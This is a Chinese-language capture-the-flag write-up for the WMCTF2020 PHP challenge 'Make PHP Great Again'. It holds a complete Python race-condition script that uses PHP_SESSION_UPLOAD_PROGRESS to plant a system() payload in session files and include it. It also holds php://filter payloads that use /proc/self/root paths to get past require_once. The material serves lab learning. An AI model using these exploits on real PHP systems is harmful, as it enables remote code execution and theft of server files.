[WMCTF2020]Make PHP Great Again
思路

非常简单的源码,这里推断flag肯定就在flag.php里面,但是require_once不会重复包含,所以要想办法绕过require_once防止重复的方法是对简化后的地址进行hash,看是否有重复,因此可以在地址上动手脚
解题
但我实在没经验,看WP了
这里有三个解法
通用非预期解
import io
import sys
import requests
import threading
import time
host = 'http://7c2c2c74-ef12-427b-b72a-baf30a73de9f.node5.buuoj.cn:81/'
sessid = 'lingye'
cmd = "<?php system('cat flag.php');echo md5('1');?>"
get_host = f'http://7c2c2c74-ef12-427b-b72a-baf30a73de9f.node5.buuoj.cn:81/?file=/tmp/sess_{sessid}'
flag = 'c4ca4238a0b923820dcc509a6f75849b'
wait_time = 0.2
def POST(session):
while True:
f = io.BytesIO(b'a' * 1024 * 50)
time.sleep(wait_time)
session.post(
host,
data={"PHP_SESSION_UPLOAD_PROGRESS":cmd},
files={"file":('q.txt', f)},
cookies={'PHPSESSID':sessid}
)
def READ(session):
while True:
response = session.get(get_host)
if flag not in response.text:
print('[+++]retry')
else:
print(response.text)
sys.exit(0)
with requests.session() as session:
t1 = threading.Thread(target=POST, args=(session, ))
t1.daemon = True
t1.start()
READ(session)
原理简述:参考文献:浅谈 SESSION_UPLOAD_PROGRESS 的利用-腾讯云开发者社区-腾讯云
php的文件上传可以使用PHP_SESSION_UPLOAD_PROGRESS这个POST参数来生成session文件,这个文件会保存上传信息的序列化值,如果同时存在文件包含漏洞就可以利用。但是PHP默认状态下会自动删除/tmp/sess_xxx文件,所以要通过不断循环来进行条件竞争,在还没删除的时候读取到这个文件
设置
host = 'http://7c2c2c74-ef12-427b-b72a-baf30a73de9f.node5.buuoj.cn:81/'
sessid = 'lingye'
cmd = "<?php system('cat flag.php');echo md5('1');?>"
get_host = f'http://7c2c2c74-ef12-427b-b72a-baf30a73de9f.node5.buuoj.cn:81/?file=/tmp/sess_{sessid}'
flag = 'c4ca4238a0b923820dcc509a6f75849b'
wait_time = 0.2
<code><span style="color: #000000">
<span style="color: #0000BB"><?php<br />highlight_file</span><span style="color: #007700">(</span><span style="color: #0000BB">__FILE__</span><span style="color: #007700">);<br />require_once </span><span style="color: #DD0000">'flag.php'</span><span style="color: #007700">;<br />if(isset(</span><span style="color: #0000BB">$_GET</span><span style="color: #007700">[</span><span style="color: #DD0000">'file'</span><span style="color: #007700">])) {<br /> require_once </span><span style="color: #0000BB">$_GET</span><span style="color: #007700">[</span><span style="color: #DD0000">'file'</span><span style="color: #007700">];<br />}<br /></span>
</span>
</code>upload_progress_<?php
$flag = 'flag{02aec25b-9b6a-49f7-b65b-058b7a3b60a7}';
c4ca4238a0b923820dcc509a6f75849b|a:5:{s:10:"start_time";i:1734694738;s:14:"content_length";i:51494;s:15:"bytes_processed";i:5271;s:4:"done";b:0;s:5:"files";a:1:{i:0;a:7:{s:10:"field_name";s:4:"file";s:4:"name";s:5:"q.txt";s:8:"tmp_name";N;s:5:"error";i:0;s:4:"done";b:0;s:10:"start_time";i:1734694738;s:15:"bytes_processed";i:5271;}}}
预期解
文献:php源码分析 require_once 绕过不能重复包含文件的限制
简单来讲就是/proc/self/root指向/,然后/proc/self/root次数太多导致php require的hash的路径达到上限,多记录了一段/proc/self/root导致和原来不一样了(应该是这样吧,心虚)

/?file=php://filter/read=convert.base64-encode/resource=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/cwd/flag.php
再稍微加几个也是可以的,加太多不行
非预期解

/?file=php://filter/read=convert.base64-encode/resource=/lingye/../proc/self/cwd/flag.php
简单来讲就是/lingye路径不存在,解析成了当前目录,而hash里面显然因为错误而保存了这个导致hash不同
但是不知道为什么这里后面改成/var/www/html不行(预期解可以)
注意
- 万能非预期解
- 官方解 – 路径处理上限
- 非预期解 – 路径解析错误